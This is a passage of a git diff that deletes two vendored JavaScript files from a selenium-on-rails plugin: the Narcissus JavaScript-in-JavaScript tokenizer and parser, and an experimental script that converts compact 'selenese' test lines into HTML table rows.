- * Software distributed under the License is distributed on an "AS IS" basis,
- * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- * for the specific language governing rights and limitations under the
- * License.
- *
- * The Original Code is the Narcissus JavaScript engine.
- *
- * The Initial Developer of the Original Code is
- * Brendan Eich <brendan@mozilla.org>.
- * Portions created by the Initial Developer are Copyright (C) 2004
- * the Initial Developer. All Rights Reserved.
- *
- * Contributor(s): Richard Hundt <www.plextk.org>
- *
- * Alternatively, the contents of this file may be used under the terms of
- * either the GNU General Public License Version 2 or later (the "GPL"), or
- * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- * in which case the provisions of the GPL or the LGPL are applicable instead
- * of those above. If you wish to allow use of your version of this file only
- * under the terms of either the GPL or the LGPL, and not to allow others to
- * use your version of this file under the terms of the MPL, indicate your
- * decision by deleting the provisions above and replace them with the notice
- * and other provisions required by the GPL or the LGPL. If you do not delete
- * the provisions above, a recipient may use your version of this file under
- * the terms of any one of the MPL, the GPL or the LGPL.
- *
- * ***** END LICENSE BLOCK ***** */
-
-/*
- * Narcissus - JS implemented in JS.
- *
- * Lexical scanner and parser.
- */
-
-// jrh
-//module('JS.Parse');
-
-// Build a regexp that recognizes operators and punctuators (except newline).
-var opRegExp =
-/^;|^,|^\?|^:|^\|\||^\&\&|^\||^\^|^\&|^===|^==|^=|^!==|^!=|^<<|^<=|^<|^>>>|^>>|^>=|^>|^\+\+|^\-\-|^\+|^\-|^\*|^\/|^%|^!|^~|^\.|^\[|^\]|^\{|^\}|^\(|^\)/;
-
-// A regexp to match floating point literals (but not integer literals).
-var fpRegExp = /^\d+\.\d*(?:[eE][-+]?\d+)?|^\d+(?:\.\d*)?[eE][-+]?\d+|^\.\d+(?:[eE][-+]?\d+)?/;
-
-function Tokenizer(s, f, l) {
-    this.cursor = 0;
-    this.source = String(s);
-    this.tokens = [];
-    this.tokenIndex = 0;
-    this.lookahead = 0;
-    this.scanNewlines = false;
-    this.scanOperand = true;
-    this.filename = f || "";
-    this.lineno = l || 1;
-}
-
-Tokenizer.prototype = {
-    input : function() {
-        return this.source.substring(this.cursor);
-    },
-
-    done : function() {
-        return this.peek() == END;
-    },
-
-    token : function() {
-        return this.tokens[this.tokenIndex];
-    },
-
-    match: function (tt) {
-        return this.get() == tt || this.unget();
-    },
-
-    mustMatch: function (tt) {
-        if (!this.match(tt))
-            throw this.newSyntaxError("Missing " + this.tokens[tt].toLowerCase());
-        return this.token();
-    },
-
-    peek: function () {
-        var tt;
-        if (this.lookahead) {
-            tt = this.tokens[(this.tokenIndex + this.lookahead) & 3].type;
-        } else {
-            tt = this.get();
-            this.unget();
-        }
-        return tt;
-    },
-
-    peekOnSameLine: function () {
-        this.scanNewlines = true;
-        var tt = this.peek();
-        this.scanNewlines = false;
-        return tt;
-    },
-
-    get: function () {
-        var token;
-        while (this.lookahead) {
-            --this.lookahead;
-            this.tokenIndex = (this.tokenIndex + 1) & 3;
-            token = this.tokens[this.tokenIndex];
-            if (token.type != NEWLINE || this.scanNewlines)
-                return token.type;
-        }
-
-        for (;;) {
-            var input = this.input();
-            var rx = this.scanNewlines ? /^[ \t]+/ : /^\s+/;
-            var match = input.match(rx);
-            if (match) {
-                var spaces = match[0];
-                this.cursor += spaces.length;
-                var newlines = spaces.match(/\n/g);
-                if (newlines)
-                    this.lineno += newlines.length;
-                input = this.input();
-            }
-
-            if (!(match = input.match(/^\/(?:\*(?:.|\n)*?\*\/|\/.*)/)))
-                break;
-            var comment = match[0];
-            this.cursor += comment.length;
-            newlines = comment.match(/\n/g);
-            if (newlines)
-                this.lineno += newlines.length
-        }
-
-        this.tokenIndex = (this.tokenIndex + 1) & 3;
-        token = this.tokens[this.tokenIndex];
-        if (!token)
-            this.tokens[this.tokenIndex] = token = {};
-        if (!input)
-            return token.type = END;
-        if ((match = input.match(fpRegExp))) {
-            token.type = NUMBER;
-            token.value = parseFloat(match[0]);
-        } else if ((match = input.match(/^0[xX][\da-fA-F]+|^0[0-7]*|^\d+/))) {
-            token.type = NUMBER;
-            token.value = parseInt(match[0]);
-        } else if ((match = input.match(/^((\$\w*)|(\w+))/))) {
-            var id = match[0];
-            token.type = keywords[id] || IDENTIFIER;
-            token.value = id;
-        } else if ((match = input.match(/^"(?:\\.|[^"])*"|^'(?:[^']|\\.)*'/))) {
-            token.type = STRING;
-            token.value = eval(match[0]);
-        } else if (this.scanOperand &&
-                   (match = input.match(/^\/((?:\\.|[^\/])+)\/([gi]*)/))) {
-            token.type = REGEXP;
-            token.value = new RegExp(match[1], match[2]);
-        } else if ((match = input.match(opRegExp))) {
-            var op = match[0];
-            if (assignOps[op] && input[op.length] == '=') {
-                token.type = ASSIGN;
-                token.assignOp = GLOBAL[opTypeNames[op]];
-                match[0] += '=';
-            } else {
-                token.type = GLOBAL[opTypeNames[op]];
-                if (this.scanOperand &&
-                    (token.type == PLUS || token.type == MINUS)) {
-                    token.type += UNARY_PLUS - PLUS;
-                }
-                token.assignOp = null;
-            }
-            //debug('token.value => '+op+', token.type => '+token.type);
-            token.value = op;
-        } else {
-            throw this.newSyntaxError("Illegal token");
-        }
-
-        token.start = this.cursor;
-        this.cursor += match[0].length;
-        token.end = this.cursor;
-        token.lineno = this.lineno;
-        return token.type;
-    },
-
-    unget: function () {
-        if (++this.lookahead == 4) throw "PANIC: too much lookahead!";
-        this.tokenIndex = (this.tokenIndex - 1) & 3;
-    },
-
-    newSyntaxError: function (m) {
-        var e = new SyntaxError(m, this.filename, this.lineno);
-        e.source = this.source;
-        e.cursor = this.cursor;
-        return e;
-    }
-};
-
-function CompilerContext(inFunction) {
-    this.inFunction = inFunction;
-    this.stmtStack = [];
-    this.funDecls = [];
-    this.varDecls = [];
-}
-
-var CCp = CompilerContext.prototype;
-CCp.bracketLevel = CCp.curlyLevel = CCp.parenLevel = CCp.hookLevel = 0;
-CCp.ecmaStrictMode = CCp.inForLoopInit = false;
-
-function Script(t, x) {
-    var n = Statements(t, x);
-    n.type = SCRIPT;
-    n.funDecls = x.funDecls;
-    n.varDecls = x.varDecls;
-    return n;
-}
-
-// Node extends Array, which we extend slightly with a top-of-stack method.
-Array.prototype.top = function() {
-    return this.length && this[this.length-1]; 
-}
-
-function NarcNode(t, type) {
-    var token = t.token();
-    if (token) {
-        this.type = type || token.type;
-        this.value = token.value;
-        this.lineno = token.lineno;
-        this.start = token.start;
-        this.end = token.end;
-    } else {
-        this.type = type;
-        this.lineno = t.lineno;
-    }
-    this.tokenizer = t;
-    for (var i = 2; i < arguments.length; i++)
-        this.push(arguments[i]);
-}
-
-var Np = NarcNode.prototype = new Array();
-Np.constructor = NarcNode;
-Np.$length = 0;
-Np.toSource = Object.prototype.toSource;
-
-// Always use push to add operands to an expression, to update start and end.
-Np.push = function (kid) {
-    if (kid.start < this.start)
-        this.start = kid.start;
-    if (this.end < kid.end)
-        this.end = kid.end;
-    //debug('length before => '+this.$length);
-    this[this.$length] = kid;
-    this.$length++;
-    //debug('length after => '+this.$length);
-}
-
-NarcNode.indentLevel = 0;
-
-function tokenstr(tt) {
-    var t = tokens[tt];
-    return /^\W/.test(t) ? opTypeNames[t] : t.toUpperCase();
-}
-
-Np.toString = function () {
-    var a = [];
-    for (var i in this) {
-        if (this.hasOwnProperty(i) && i != 'type')
-            a.push({id: i, value: this[i]});
-    }
-    a.sort(function (a,b) { return (a.id < b.id) ? -1 : 1; });
-    INDENTATION = "    ";
-    var n = ++NarcNode.indentLevel;
-    var s = "{\n" + INDENTATION.repeat(n) + "type: " + tokenstr(this.type);
-    for (i = 0; i < a.length; i++)
-        s += ",\n" + INDENTATION.repeat(n) + a[i].id + ": " + a[i].value;
-    n = --NarcNode.indentLevel;
-    s += "\n" + INDENTATION.repeat(n) + "}";
-    return s;
-}
-
-Np.getSource = function () {
-    return this.tokenizer.source.slice(this.start, this.end);
-};
-
-Np.filename = function () { return this.tokenizer.filename; };
-
-String.prototype.repeat = function (n) {
-    var s = "", t = this + s;
-    while (--n >= 0)
-        s += t;
-    return s;
-}
-
-// Statement stack and nested statement handler.
-function nest(t, x, node, func, end) {
-    x.stmtStack.push(node);
-    var n = func(t, x);
-    x.stmtStack.pop();
-    end && t.mustMatch(end);
-    return n;
-}
-
-function Statements(t, x) {
-    var n = new NarcNode(t, BLOCK);
-    x.stmtStack.push(n);
-    while (!t.done() && t.peek() != RIGHT_CURLY)
-        n.push(Statement(t, x));
-    x.stmtStack.pop();
-    return n;
-}
-
-function Block(t, x) {
-    t.mustMatch(LEFT_CURLY);
-    var n = Statements(t, x);
-    t.mustMatch(RIGHT_CURLY);
-    return n;
-}
-
-DECLARED_FORM = 0; EXPRESSED_FORM = 1; STATEMENT_FORM = 2;
-
-function Statement(t, x) {
-    var i, label, n, n2, ss, tt = t.get();
-
-    // Cases for statements ending in a right curly return early, avoiding the
-    // common semicolon insertion magic after this switch.
-    switch (tt) {
-      case FUNCTION:
-        return FunctionDefinition(t, x, true,
-                                  (x.stmtStack.length > 1)
-                                  ? STATEMENT_FORM
-                                  : DECLARED_FORM);
-
-      case LEFT_CURLY:
-        n = Statements(t, x);
-        t.mustMatch(RIGHT_CURLY);
-        return n;
-
-      case IF:
-        n = new NarcNode(t);
-        n.condition = ParenExpression(t, x);
-        x.stmtStack.push(n);
-        n.thenPart = Statement(t, x);
-        n.elsePart = t.match(ELSE) ? Statement(t, x) : null;
-        x.stmtStack.pop();
-        return n;
-
-      case SWITCH:
-        n = new NarcNode(t);
-        t.mustMatch(LEFT_PAREN);
-        n.discriminant = Expression(t, x);
-        t.mustMatch(RIGHT_PAREN);
-        n.cases = [];
-        n.defaultIndex = -1;
-        x.stmtStack.push(n);
-        t.mustMatch(LEFT_CURLY);
-        while ((tt = t.get()) != RIGHT_CURLY) {
-            switch (tt) {
-              case DEFAULT:
-                if (n.defaultIndex >= 0)
-                    throw t.newSyntaxError("More than one switch default");
-                // FALL THROUGH
-              case CASE:
-                n2 = new NarcNode(t);
-                if (tt == DEFAULT)
-                    n.defaultIndex = n.cases.length;
-                else
-                    n2.caseLabel = Expression(t, x, COLON);
-                break;
-              default:
-                throw t.newSyntaxError("Invalid switch case");
-            }
-            t.mustMatch(COLON);
-            n2.statements = new NarcNode(t, BLOCK);
-            while ((tt=t.peek()) != CASE && tt != DEFAULT && tt != RIGHT_CURLY)
-                n2.statements.push(Statement(t, x));
-            n.cases.push(n2);
-        }
-        x.stmtStack.pop();
-        return n;
-
-      case FOR:
-        n = new NarcNode(t);
-        n.isLoop = true;
-        t.mustMatch(LEFT_PAREN);
-        if ((tt = t.peek()) != SEMICOLON) {
-            x.inForLoopInit = true;
-            if (tt == VAR || tt == CONST) {
-                t.get();
-                n2 = Variables(t, x);
-            } else {
-                n2 = Expression(t, x);
-            }
-            x.inForLoopInit = false;
-        }
-        if (n2 && t.match(IN)) {
-            n.type = FOR_IN;
-            if (n2.type == VAR) {
-                if (n2.$length != 1) {
-                    throw new SyntaxError("Invalid for..in left-hand side",
-                                          t.filename, n2.lineno);
-                }
-
-                // NB: n2[0].type == IDENTIFIER and n2[0].value == n2[0].name.
-                n.iterator = n2[0];
-                n.varDecl = n2;
-            } else {
-                n.iterator = n2;
-                n.varDecl = null;
-            }
-            n.object = Expression(t, x);
-        } else {
-            n.setup = n2 || null;
-            t.mustMatch(SEMICOLON);
-            n.condition = (t.peek() == SEMICOLON) ? null : Expression(t, x);
-            t.mustMatch(SEMICOLON);
-            n.update = (t.peek() == RIGHT_PAREN) ? null : Expression(t, x);
-        }
-        t.mustMatch(RIGHT_PAREN);
-        n.body = nest(t, x, n, Statement);
-        return n;
-
-      case WHILE:
-        n = new NarcNode(t);
-        n.isLoop = true;
-        n.condition = ParenExpression(t, x);
-        n.body = nest(t, x, n, Statement);
-        return n;
-
-      case DO:
-        n = new NarcNode(t);
-        n.isLoop = true;
-        n.body = nest(t, x, n, Statement, WHILE);
-        n.condition = ParenExpression(t, x);
-        if (!x.ecmaStrictMode) {
-            // <script language="JavaScript"> (without version hints) may need
-            // automatic semicolon insertion without a newline after do-while.
-            // See http://bugzilla.mozilla.org/show_bug.cgi?id=238945.
-            t.match(SEMICOLON);
-            return n;
-        }
-        break;
-
-      case BREAK:
-      case CONTINUE:
-        n = new NarcNode(t);
-        if (t.peekOnSameLine() == IDENTIFIER) {
-            t.get();
-            n.label = t.token().value;
-        }
-        ss = x.stmtStack;
-        i = ss.length;
-        label = n.label;
-        if (label) {
-            do {
-                if (--i < 0)
-                    throw t.newSyntaxError("Label not found");
-            } while (ss[i].label != label);
-        } else {
-            do {
-                if (--i < 0) {
-                    throw t.newSyntaxError("Invalid " + ((tt == BREAK)
-                                                         ? "break"
-                                                         : "continue"));
-                }
-            } while (!ss[i].isLoop && (tt != BREAK || ss[i].type != SWITCH));
-        }
-        n.target = ss[i];
-        break;
-
-      case TRY:
-        n = new NarcNode(t);
-        n.tryBlock = Block(t, x);
-        n.catchClauses = [];
-        while (t.match(CATCH)) {
-            n2 = new NarcNode(t);
-            t.mustMatch(LEFT_PAREN);
-            n2.varName = t.mustMatch(IDENTIFIER).value;
-            if (t.match(IF)) {
-                if (x.ecmaStrictMode)
-                    throw t.newSyntaxError("Illegal catch guard");
-                if (n.catchClauses.length && !n.catchClauses.top().guard)
-                    throw t.newSyntaxError("Guarded catch after unguarded");
-                n2.guard = Expression(t, x);
-            } else {
-                n2.guard = null;
-            }
-            t.mustMatch(RIGHT_PAREN);
-            n2.block = Block(t, x);
-            n.catchClauses.push(n2);
-        }
-        if (t.match(FINALLY))
-            n.finallyBlock = Block(t, x);
-        if (!n.catchClauses.length && !n.finallyBlock)
-            throw t.newSyntaxError("Invalid try statement");
-        return n;
-
-      case CATCH:
-      case FINALLY:
-        throw t.newSyntaxError(tokens[tt] + " without preceding try");
-
-      case THROW:
-        n = new NarcNode(t);
-        n.exception = Expression(t, x);
-        break;
-
-      case RETURN:
-        if (!x.inFunction)
-            throw t.newSyntaxError("Invalid return");
-        n = new NarcNode(t);
-        tt = t.peekOnSameLine();
-        if (tt != END && tt != NEWLINE && tt != SEMICOLON && tt != RIGHT_CURLY)
-            n.value = Expression(t, x);
-        break;
-
-      case WITH:
-        n = new NarcNode(t);
-        n.object = ParenExpression(t, x);
-        n.body = nest(t, x, n, Statement);
-        return n;
-
-      case VAR:
-      case CONST:
-        n = Variables(t, x);
-        break;
-
-      case DEBUGGER:
-        n = new NarcNode(t);
-        break;
-
-      case REQUIRE:
-        n = new NarcNode(t);
-        n.classPath = ParenExpression(t, x);
-        break;
-
-      case NEWLINE:
-      case SEMICOLON:
-        n = new NarcNode(t, SEMICOLON);
-        n.expression = null;
-        return n;
-
-      default:
-        if (tt == IDENTIFIER && t.peek() == COLON) {
-            label = t.token().value;
-            ss = x.stmtStack;
-            for (i = ss.length-1; i >= 0; --i) {
-                if (ss[i].label == label)
-                    throw t.newSyntaxError("Duplicate label");
-            }
-            t.get();
-            n = new NarcNode(t, LABEL);
-            n.label = label;
-            n.statement = nest(t, x, n, Statement);
-            return n;
-        }
-
-        n = new NarcNode(t, SEMICOLON);
-        t.unget();
-        n.expression = Expression(t, x);
-        n.end = n.expression.end;
-        break;
-    }
-
-    if (t.lineno == t.token().lineno) {
-        tt = t.peekOnSameLine();
-        if (tt != END && tt != NEWLINE && tt != SEMICOLON && tt != RIGHT_CURLY)
-            throw t.newSyntaxError("Missing ; before statement");
-    }
-    t.match(SEMICOLON);
-    return n;
-}
-
-function FunctionDefinition(t, x, requireName, functionForm) {
-    var f = new NarcNode(t);
-    if (f.type != FUNCTION)
-        f.type = (f.value == "get") ? GETTER : SETTER;
-    if (t.match(IDENTIFIER)) {
-        f.name = t.token().value;
-    }
-    else if (requireName)
-        throw t.newSyntaxError("Missing function identifier");
-
-    t.mustMatch(LEFT_PAREN);
-    f.params = [];
-    var tt;
-    while ((tt = t.get()) != RIGHT_PAREN) {
-        if (tt != IDENTIFIER)
-            throw t.newSyntaxError("Missing formal parameter");
-        f.params.push(t.token().value);
-        if (t.peek() != RIGHT_PAREN)
-            t.mustMatch(COMMA);
-    }
-
-    t.mustMatch(LEFT_CURLY);
-    var x2 = new CompilerContext(true);
-    f.body = Script(t, x2);
-    t.mustMatch(RIGHT_CURLY);
-    f.end = t.token().end;
-
-    f.functionForm = functionForm;
-    if (functionForm == DECLARED_FORM) {
-        x.funDecls.push(f);
-    }
-
-    return f;
-}
-
-function Variables(t, x) {
-    var n = new NarcNode(t);
-    do {
-        t.mustMatch(IDENTIFIER);
-        var n2 = new NarcNode(t);
-        n2.name = n2.value;
-        if (t.match(ASSIGN)) {
-            if (t.token().assignOp)
-                throw t.newSyntaxError("Invalid variable initialization");
-            n2.initializer = Expression(t, x, COMMA);
-        }
-        n2.readOnly = (n.type == CONST);
-        n.push(n2);
-        x.varDecls.push(n2);
-    } while (t.match(COMMA));
-    return n;
-}
-
-function ParenExpression(t, x) {
-    t.mustMatch(LEFT_PAREN);
-    var n = Expression(t, x);
-    t.mustMatch(RIGHT_PAREN);
-    return n;
-}
-
-var opPrecedence = {
-    SEMICOLON: 0,
-    COMMA: 1,
-    ASSIGN: 2, HOOK: 2, COLON: 2, CONDITIONAL: 2,
-    // The above all have to have the same precedence, see bug 330975.
-    OR: 4,
-    AND: 5,
-    BITWISE_OR: 6,
-    BITWISE_XOR: 7,
-    BITWISE_AND: 8,
-    EQ: 9, NE: 9, STRICT_EQ: 9, STRICT_NE: 9,
-    LT: 10, LE: 10, GE: 10, GT: 10, IN: 10, INSTANCEOF: 10,
-    LSH: 11, RSH: 11, URSH: 11,
-    PLUS: 12, MINUS: 12,
-    MUL: 13, DIV: 13, MOD: 13,
-    DELETE: 14, VOID: 14, TYPEOF: 14, // PRE_INCREMENT: 14, PRE_DECREMENT: 14,
-    NOT: 14, BITWISE_NOT: 14, UNARY_PLUS: 14, UNARY_MINUS: 14,
-    INCREMENT: 15, DECREMENT: 15,     // postfix
-    NEW: 16,
-    DOT: 17
-};
-
-// Map operator type code to precedence.
-for (i in opPrecedence)
-    opPrecedence[GLOBAL[i]] = opPrecedence[i];
-
-var opArity = {
-    COMMA: -2,
-    ASSIGN: 2,
-    CONDITIONAL: 3,
-    OR: 2,
-    AND: 2,
-    BITWISE_OR: 2,
-    BITWISE_XOR: 2,
-    BITWISE_AND: 2,
-    EQ: 2, NE: 2, STRICT_EQ: 2, STRICT_NE: 2,
-    LT: 2, LE: 2, GE: 2, GT: 2, IN: 2, INSTANCEOF: 2,
-    LSH: 2, RSH: 2, URSH: 2,
-    PLUS: 2, MINUS: 2,
-    MUL: 2, DIV: 2, MOD: 2,
-    DELETE: 1, VOID: 1, TYPEOF: 1,  // PRE_INCREMENT: 1, PRE_DECREMENT: 1,
-    NOT: 1, BITWISE_NOT: 1, UNARY_PLUS: 1, UNARY_MINUS: 1,
-    INCREMENT: 1, DECREMENT: 1,     // postfix
-    NEW: 1, NEW_WITH_ARGS: 2, DOT: 2, INDEX: 2, CALL: 2,
-    ARRAY_INIT: 1, OBJECT_INIT: 1, GROUP: 1
-};
-
-// Map operator type code to arity.
-for (i in opArity)
-    opArity[GLOBAL[i]] = opArity[i];
-
-function Expression(t, x, stop) {
-    var n, id, tt, operators = [], operands = [];
-    var bl = x.bracketLevel, cl = x.curlyLevel, pl = x.parenLevel,
-        hl = x.hookLevel;
-
-    function reduce() {
-        //debug('OPERATORS => '+operators);
-        var n = operators.pop();
-        var op = n.type;
-        var arity = opArity[op];
-        if (arity == -2) {
-            // Flatten left-associative trees.
-            var left = operands.length >= 2 && operands[operands.length-2];
-            if (left.type == op) {
-                var right = operands.pop();
-                left.push(right);
-                return left;
-            }
-            arity = 2;
-        }
-
-        // Always use push to add operands to n, to update start and end.
-        var a = operands.splice(operands.length - arity, operands.length);
-        for (var i = 0; i < arity; i++) {
-            n.push(a[i]);
-        }
-
-        // Include closing bracket or postfix operator in [start,end).
-        if (n.end < t.token().end)
-            n.end = t.token().end;
-
-        operands.push(n);
-        return n;
-    }
-
-loop:
-    while ((tt = t.get()) != END) {
-        //debug('TT => '+tokens[tt]);
-        if (tt == stop &&
-            x.bracketLevel == bl && x.curlyLevel == cl && x.parenLevel == pl &&
-            x.hookLevel == hl) {
-            // Stop only if tt matches the optional stop parameter, and that
-            // token is not quoted by some kind of bracket.
-            break;
-        }
-        switch (tt) {
-          case SEMICOLON:
-            // NB: cannot be empty, Statement handled that.
-            break loop;
-
-          case ASSIGN:
-          case HOOK:
-          case COLON:
-            if (t.scanOperand)
-                break loop;
-            // Use >, not >=, for right-associative ASSIGN and HOOK/COLON.
-            while (operators.length && opPrecedence[operators.top().type] > opPrecedence[tt] ||
-                   (tt == COLON && operators.top().type == ASSIGN)) {
-                reduce();
-            }
-            if (tt == COLON) {
-                n = operators.top();
-                if (n.type != HOOK)
-                    throw t.newSyntaxError("Invalid label");
-                n.type = CONDITIONAL;
-                --x.hookLevel;
-            } else {
-                operators.push(new NarcNode(t));
-                if (tt == ASSIGN)
-                    operands.top().assignOp = t.token().assignOp;
-                else
-                    ++x.hookLevel;      // tt == HOOK
-            }
-            t.scanOperand = true;
-            break;
-
-          case IN:
-            // An in operator should not be parsed if we're parsing the head of
-            // a for (...) loop, unless it is in the then part of a conditional
-            // expression, or parenthesized somehow.
-            if (x.inForLoopInit && !x.hookLevel &&
-                !x.bracketLevel && !x.curlyLevel && !x.parenLevel) {
-                break loop;
-            }
-            // FALL THROUGH
-          case COMMA:
-            // Treat comma as left-associative so reduce can fold left-heavy
-            // COMMA trees into a single array.
-            // FALL THROUGH
-          case OR:
-          case AND:
-          case BITWISE_OR:
-          case BITWISE_XOR:
-          case BITWISE_AND:
-          case EQ: case NE: case STRICT_EQ: case STRICT_NE:
-          case LT: case LE: case GE: case GT:
-          case INSTANCEOF:
-          case LSH: case RSH: case URSH:
-          case PLUS: case MINUS:
-          case MUL: case DIV: case MOD:
-          case DOT:
-            if (t.scanOperand)
-                break loop;
-            while (operators.length && opPrecedence[operators.top().type] >= opPrecedence[tt])
-                reduce();
-            if (tt == DOT) {
-                t.mustMatch(IDENTIFIER);
-                operands.push(new NarcNode(t, DOT, operands.pop(), new NarcNode(t)));
-            } else {
-                operators.push(new NarcNode(t));
-                t.scanOperand = true;
-            }
-            break;
-
-          case DELETE: case VOID: case TYPEOF:
-          case NOT: case BITWISE_NOT: case UNARY_PLUS: case UNARY_MINUS:
-          case NEW:
-            if (!t.scanOperand)
-                break loop;
-            operators.push(new NarcNode(t));
-            break;
-
-          case INCREMENT: case DECREMENT:
-            if (t.scanOperand) {
-                operators.push(new NarcNode(t));  // prefix increment or decrement
-            } else {
-                // Use >, not >=, so postfix has higher precedence than prefix.
-                while (operators.length && opPrecedence[operators.top().type] > opPrecedence[tt])
-                    reduce();
-                n = new NarcNode(t, tt, operands.pop());
-                n.postfix = true;
-                operands.push(n);
-            }
-            break;
-
-          case FUNCTION:
-            if (!t.scanOperand)
-                break loop;
-            operands.push(FunctionDefinition(t, x, false, EXPRESSED_FORM));
-            t.scanOperand = false;
-            break;
-
-          case NULL: case THIS: case TRUE: case FALSE:
-          case IDENTIFIER: case NUMBER: case STRING: case REGEXP:
-            if (!t.scanOperand)
-                break loop;
-            operands.push(new NarcNode(t));
-            t.scanOperand = false;
-            break;
-
-          case LEFT_BRACKET:
-            if (t.scanOperand) {
-                // Array initialiser.  Parse using recursive descent, as the
-                // sub-grammar here is not an operator grammar.
-                n = new NarcNode(t, ARRAY_INIT);
-                while ((tt = t.peek()) != RIGHT_BRACKET) {
-                    if (tt == COMMA) {
-                        t.get();
-                        n.push(null);
-                        continue;
-                    }
-                    n.push(Expression(t, x, COMMA));
-                    if (!t.match(COMMA))
-                        break;
-                }
-                t.mustMatch(RIGHT_BRACKET);
-                operands.push(n);
-                t.scanOperand = false;
-            } else {
-                // Property indexing operator.
-                operators.push(new NarcNode(t, INDEX));
-                t.scanOperand = true;
-                ++x.bracketLevel;
-            }
-            break;
-
-          case RIGHT_BRACKET:
-            if (t.scanOperand || x.bracketLevel == bl)
-                break loop;
-            while (reduce().type != INDEX)
-                continue;
-            --x.bracketLevel;
-            break;
-
-          case LEFT_CURLY:
-            if (!t.scanOperand)
-                break loop;
-            // Object initialiser.  As for array initialisers (see above),
-            // parse using recursive descent.
-            ++x.curlyLevel;
-            n = new NarcNode(t, OBJECT_INIT);
-          object_init:
-            if (!t.match(RIGHT_CURLY)) {
-                do {
-                    tt = t.get();
-                    if ((t.token().value == "get" || t.token().value == "set") &&
-                        t.peek() == IDENTIFIER) {
-                        if (x.ecmaStrictMode)
-                            throw t.newSyntaxError("Illegal property accessor");
-                        n.push(FunctionDefinition(t, x, true, EXPRESSED_FORM));
-                    } else {
-                        switch (tt) {
-                          case IDENTIFIER:
-                          case NUMBER:
-                          case STRING:
-                            id = new NarcNode(t);
-                            break;
-                          case RIGHT_CURLY:
-                            if (x.ecmaStrictMode)
-                                throw t.newSyntaxError("Illegal trailing ,");
-                            break object_init;
-                          default:
-                            throw t.newSyntaxError("Invalid property name");
-                        }
-                        t.mustMatch(COLON);
-                        n.push(new NarcNode(t, PROPERTY_INIT, id,
-                                        Expression(t, x, COMMA)));
-                    }
-                } while (t.match(COMMA));
-                t.mustMatch(RIGHT_CURLY);
-            }
-            operands.push(n);
-            t.scanOperand = false;
-            --x.curlyLevel;
-            break;
-
-          case RIGHT_CURLY:
-            if (!t.scanOperand && x.curlyLevel != cl)
-                throw "PANIC: right curly botch";
-            break loop;
-
-          case LEFT_PAREN:
-            if (t.scanOperand) {
-                operators.push(new NarcNode(t, GROUP));
-            } else {
-                while (operators.length && opPrecedence[operators.top().type] > opPrecedence[NEW])
-                    reduce();
-
-                // Handle () now, to regularize the n-ary case for n > 0.
-                // We must set scanOperand in case there are arguments and
-                // the first one is a regexp or unary+/-.
-                n = operators.top();
-                t.scanOperand = true;
-                if (t.match(RIGHT_PAREN)) {
-                    if (n.type == NEW) {
-                        --operators.length;
-                        n.push(operands.pop());
-                    } else {
-                        n = new NarcNode(t, CALL, operands.pop(),
-                                     new NarcNode(t, LIST));
-                    }
-                    operands.push(n);
-                    t.scanOperand = false;
-                    break;
-                }
-                if (n.type == NEW)
-                    n.type = NEW_WITH_ARGS;
-                else
-                    operators.push(new NarcNode(t, CALL));
-            }
-            ++x.parenLevel;
-            break;
-
-          case RIGHT_PAREN:
-            if (t.scanOperand || x.parenLevel == pl)
-                break loop;
-            while ((tt = reduce().type) != GROUP && tt != CALL &&
-                   tt != NEW_WITH_ARGS) {
-                continue;
-            }
-            if (tt != GROUP) {
-                n = operands.top();
-                if (n[1].type != COMMA)
-                    n[1] = new NarcNode(t, LIST, n[1]);
-                else
-                    n[1].type = LIST;
-            }
-            --x.parenLevel;
-            break;
-
-          // Automatic semicolon insertion means we may scan across a newline
-          // and into the beginning of another statement.  If so, break out of
-          // the while loop and let the t.scanOperand logic handle errors.
-          default:
-            break loop;
-        }
-    }
-    if (x.hookLevel != hl)
-        throw t.newSyntaxError("Missing : after ?");
-    if (x.parenLevel != pl)
-        throw t.newSyntaxError("Missing ) in parenthetical");
-    if (x.bracketLevel != bl)
-        throw t.newSyntaxError("Missing ] in index expression");
-    if (t.scanOperand)
-        throw t.newSyntaxError("Missing operand");
-
-    // Resume default mode, scanning for operands, not operators.
-    t.scanOperand = true;
-    t.unget();
-
-    while (operators.length)
-        reduce();
-    return operands.pop();
-}
-
-function parse(s, f, l) {
-    var t = new Tokenizer(s, f, l);
-    var x = new CompilerContext(false);
-    var n = Script(t, x);
-    if (!t.done())
-        throw t.newSyntaxError("Syntax error");
-    return n;
-}
-
-debug = function(msg) {
-    document.body.appendChild(document.createTextNode(msg));
-    document.body.appendChild(document.createElement('br'));
-}
-
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/se2html.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/se2html.js
deleted file mode 100644
index 4894d4b1..00000000
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/se2html.js
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
-
-This is an experiment in creating a "selenese" parser that drastically
-cuts down on the line noise associated with writing tests in HTML.
-
-The 'parse' function will accept the follow sample commands.
-
-test-cases:
-    //comment
-    command "param"
-    command "param" // comment
-    command "param" "param2"
-    command "param" "param2" // this is a comment
-
-TODO: 
-1) Deal with multiline parameters
-2) Escape quotes properly
-3) Determine whether this should/will become the "preferred" syntax 
-   for delivered Selenium self-test scripts
-*/    
-
-
-function separse(doc) {
-    // Get object
-    script = doc.getElementById('testcase')
-    // Split into lines
-    lines = script.text.split('\n');
-
-
-    var command_pattern = / *(\w+) *"([^"]*)" *(?:"([^"]*)"){0,1}(?: *(\/\/ *.+))*/i;
-    var comment_pattern = /^ *(\/\/ *.+)/
-
-    // Regex each line into selenium command and convert into table row.
-    // eg. "<command> <quote> <quote> <comment>"
-    var new_test_source = '';
-    var new_line        = '';
-    for (var x=0; x < lines.length; x++) {
-        result = lines[x].match(command_pattern);
-        if (result != null) {
-            new_line = "<tr><td>" + (result[1] || '&nbsp;') + "</td>" +
-                           "<td>" + (result[2] || '&nbsp;') + "</td>" +
-                           "<td>" + (result[3] || '&nbsp;') + "</td>" +
-                           "<td>" + (result[4] || '&nbsp;') + "</td></tr>\n";
-            new_test_source += new_line;
-        }
-        result = lines[x].match(comment_pattern);
-        if (result != null) {
-            new_line = '<tr><td rowspan="1" colspan="4">' +
-                       (result[1] || '&nbsp;') +
-                       '</td></tr>';
-            new_test_source += new_line;
-        }
-    }
-
-    // Create HTML Table        
-    body = doc.body
-    body.innerHTML += "<table class='selenium' id='testtable'>"+
-                      new_test_source +
-                      "</table>";
-
-}
-
-
